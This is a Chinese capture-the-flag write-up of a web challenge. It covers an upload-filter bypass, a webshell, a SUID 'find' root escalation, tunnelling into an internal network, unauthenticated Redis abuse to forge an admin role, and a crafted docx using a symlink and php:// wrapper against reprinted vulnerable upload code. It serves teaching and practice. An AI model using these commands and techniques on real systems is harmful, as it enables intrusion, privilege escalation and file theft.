当前位置: 首页 > news >正文

翻斗幼儿园历险记-CTF-WP

翻斗幼儿园历险记

一、搭建:

docker-compose up -d 运行那个docker-compose.yml文件即可

image-20250327203752856

打开127.0.0.1:32777就运行好了

image-20250327204004316

2、打法

文件上传

image-20250327204028885

前端过滤,bp抓包改后缀即可

image-20250327204331766

image-20250327204744824

盲猜一波,上传的目录是/uploads下面

哥斯拉连上马后,发现没有权限

image-20250327205105208

提权看看

查找具有root权限的命令

find / -perm -u=s -type f 2>/dev/null

image-20250327205302057

发现find具有这个权限,就可以用find命令提权

find / -exec /bin/bash -p \;

提权后,发现nmd是个假flag

image-20250327212008847

这会大概猜到了是个内网题,frp搭个隧道看看

image-20250327212234408

启动下vps的服务端

image-20250327212522964

客户端给frpc权限

image-20250327213455651

客户端运行frp

image-20250327213040544

查一下ip

image-20250327213310901

配个代理就可以访问内网了

image-20250327213650259

router scan扫一下内网其他机器

image-20250327213710129

记得routescan配置代理

image-20250926150126331

扫到存活的机器了

image-20250327214014571

进去看一下

注册个号

image-20250327214115848

要我算一万次不可能

image-20250327214137804

看源码

image-20250327214204129

image-20250327214412747

image-20250327214440343

在admin.php里面

image-20250327214452851

艹了,要admin权限

访问一下

image-20250328134656303

但给的源码中有redis的文件,看下能不能redis未授权

内网题,得用proxychains设置我的vps代理打redis

给kali安装代理proxychains

sudo apt install proxychains

配置代理

sudo vim /etc/proxychains.conf

image-20250926150204814

给一个命令实现代理,只要在这个命令前面加上proxychains这个命令就好

proxychains redis-cli -h 172.11.0.3 -p 6379

成功连上内网的redis

image-20250328133402648

看见我的角色只是个noBody

image-20250328133446923

想办法把我的role角色写成admin

image-20250328133751184

set user:test eyJwYXNzd29yZCI6InRlc3QiLCJyb2xlIjoiYWRtaW4ifQ==

image-20250328133916574

这会拿test账号密码admin登录

image-20250328134739626

再访问admin.php

image-20250328134754794

这题考的就是个word文档上传

其实word文档本质上就是个压缩包,你用bandzizip都可以把它解压成几个文件

image-20250328135854456

审计一下admin.php

<?php
require_once 'common.php';
$user = getCurrentUser();#调用 getCurrentUser() 函数,获取当前用户的信息
if (!$user || $user['role'] !== 'admin') {header('HTTP/1.1 403 Forbidden');die('<h1 class="text-light">403 Forbidden - 权限不足</h1>');
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {define('REL_FILENAME', 'word/_rels/document.xml.rels');#定义一个常量 REL_FILENAME,其值为 'word/_rels/document.xml.rels'。这是 Word 文档中存储文档关系(如图片引用关系)的文件路径。function hellYeah($code, $msg): void{http_response_code($code);die("<div class='neu-card'><div class='alert alert-danger'>$msg</div></div>");}if (!isset($_FILES['input'])) hellYeah(400, '请选择要上传的文件');if ($_FILES['input']['error'] !== UPLOAD_ERR_OK) hellYeah(500, '文件上传错误');if ($_FILES['input']['type'] != 'application/vnd.openxmlformats-officedocument.wordprocessingml.document')#查文件类型是否为 .docx(通过 MIME 类型检查)。hellYeah(400, '请上传Word文档 (.docx)');$zip = new ZipArchive();#创建一个 ZipArchive 对象,用于处理 .docx 文件(因为 .docx 文件本质上是一个 ZIP 包)。$zipFilename = $_FILES['input']['tmp_name'];#获取临时文件名if ($zip->open($zipFilename) !== true || $zip->locateName(REL_FILENAME) === false)hellYeah(400, '无效的Word文档格式');#检查是否包含 word/_rels/document.xml.rels 文件,以验证是否为有效的 Word 文档$relsDom = simplexml_load_string($zip->getFromName(REL_FILENAME));#使用 simplexml_load_string 函数解析 document.xml.rels 文件的内容。if ($relsDom === false) hellYeah(400, '文档关系表解析失败');$tmpDir = exec("mktemp -d --tmpdir=/tmp");#使用 mktemp 命令创建一个临时目录(存储提取的图片)shell_exec("unzip $zipFilename \"word/media*\" -d \"$tmpDir\"");#使用 unzip 命令从 .docx 文件中提取 word/media 目录下的所有图片文件到临时目录function cleanup($tmpDir): void{shell_exec("rm -rf $tmpDir");}register_shutdown_function('cleanup', $tmpDir);@chdir("$tmpDir/word/media");#将当前工作目录切换到 word/media。ini_set('open_basedir', '.');#设置 open_basedir 限制,确保只能访问当前目录。$messages = [];foreach($relsDom->Relationship as $rel) {#遍历 document.xml.rels 文件中的 <Relationship> 元素。if($rel['Type'] == 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/image') {if (!str_starts_with($rel['Target'], 'media/'))#如果目标路径以 media/ 开头,提取文件名并读取文件内容。continue;$filename = substr($rel['Target'], 6);$file = @file_get_contents($filename);if ($file === false)break;if ($result = @base64_encode($file))$messages[] = $result;}}system("rm -rf $tmpDir");
}

这个的思路就是直接创建个docx文档,然后用bandizip解压

image-20250328164043231

接着把documengt.xml.rels文件改了,用php伪协议读文件

image-20250328164106398

image-20250328164143530

然后,再创建个软链接mdia指向根目录

image-20250328164310594

接着把所有文件打包成zip

image-20250328164335249

再把这个zip文件改为docx文档,上传即可

image-20250328164402994

总体思路就是,利用软链接把工作目录media目录指向根目录,因为题目会提取documengt.xml.rels文件里面的图片至media,还会解析,所以documengt.xml.rels文件里的图片改为php伪协议来读取flag

http://www.hskmm.com/?act=detail&tid=18037

相关文章:

  • .net8+winform+Antdui 制作 LOL 小助手
  • 深入解析:【Git】Git 简介及基本操作
  • hutool主要内容list
  • 20250916_QQ_Powershell
  • 完整教程:HTTP安全响应头--CSP(Content-Security-Policy)
  • 原码,反码,补码
  • Experiment1
  • 读书笔记:Oracle 自动索引:让数据库自己管索引?
  • 1_2025.9.26_1
  • 故障处理:Oracle RAC集群CTSS时钟同步故障案例分析与解决
  • Linux系统提权-web/普通用户-docker逃逸提权shell交互
  • PostgreSQL技术大讲堂 - 第106讲:分区表索引优化
  • 四边形不等式优化
  • 斜率优化
  • AI智能体:从认知到实践
  • Kinect屏幕边缘检测不灵敏的解决方案
  • 暴力拓客游戏小程序:助力商家高效引流与裂变的智能解决方案
  • vue3小坑之-为什么把ref定义的数组赋值给数组对象后取值为空数组?
  • 第二类斯特林数
  • 群论
  • 扫码签到赢大奖小程序:助力多场景获客的智能营销工具
  • docker 镜像/容器
  • jmeter命令行参数详细解释
  • RK3399:性能与能效的嵌入式先锋,解锁多场景应用潜力
  • 【C++STL详解】带头双向循环结构 + 双向迭代器,核心接口 + 排序效率 + 避坑指南 - 教程
  • TorchV知识库安全解决方案:基于智能环境感知的动态权限控制
  • VBA ETH功能应用 | “0”代码构建SOME/IP节点
  • ISUP协议视频平台EasyCVR在智慧灯杆综合管理中的应用
  • 视觉智能赋能产业数智化升级:JBoltAI多模态技术落地实践
  • 神秘考试题